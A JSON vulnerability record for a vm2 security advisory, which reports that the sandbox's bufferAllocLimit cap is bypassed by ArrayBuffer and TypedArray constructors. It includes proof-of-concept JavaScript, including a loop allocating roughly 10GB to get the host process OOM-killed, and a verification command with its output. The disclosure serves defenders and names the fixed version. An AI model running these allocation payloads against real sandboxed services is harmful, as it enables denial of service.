{"id":"GHSA-v836-6xw4-9cx3","aliases":[],"url":"https://o3.security/vulnerability/GHSA-v836-6xw4-9cx3","summary":"vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass","details":"### Summary:\n\nThe `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap.\n\n### Details:\n\nThe `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359).\n\nHowever, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense.\n\nA single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt.\n\n### Environment:\n\n- vm2 version: 3.11.3\n- Node.js: v25.8.1 (affects all Node.js versions)\n- Configuration: Default `new VM()` or any configuration including `bufferAllocLimit`\n\n### POC:\n\n```javascript\nconst { VM } = require('vm2');\n\n// Operator sets bufferAllocLimit thinking they're protected:\nconst vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap\n\n// Buffer.alloc IS capped (as intended):\ntry { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }\ncatch(e) { console.log('Buffer.alloc blocked:', e.message); }\n// → \"Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760\"\n\n// But these BYPASS the cap entirely:\nvm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!\nvm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!\nvm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!\nvm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!\n\n// OOM kill in constrained environments (Docker, K8s, Lambda):\nvm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');\n// → 10GB allocated → host OOM killed\n```\n\n**Verification:**\n\n```bash\nnode -e '\nconst {VM} = require(\"./lib/main.js\");\nconst vm = new VM({bufferAllocLimit: 10*1024*1024});\ntry { vm.run(\"Buffer.alloc(20*1024*1024)\"); } catch(e) { console.log(\"Buffer BLOCKED\"); }\nconsole.log(\"ArrayBuffer:\", vm.run(\"new ArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\nconsole.log(\"SharedArrayBuffer:\", vm.run(\"new SharedArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\n'\n# Output:\n# Buffer BLOCKED\n# ArrayBuffer: 104857600 bytes allocated\n# SharedArrayBuffer: 104857600 bytes allocated\n```\n\n### Impact:\n\n- **Type:** Denial of Service (Host Memory Exhaustion)\n- **Attack Complexity:** Low\n- **Availability Impact:** Complete, host process OOM killed in memory-constrained environments\n- **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.","published":"2026-08-17T17:32:57Z","modified":"2026-08-17T17:45:07.974388410Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.6"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v836-6xw4-9cx3"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-17T17:45:07.974388410Z"}}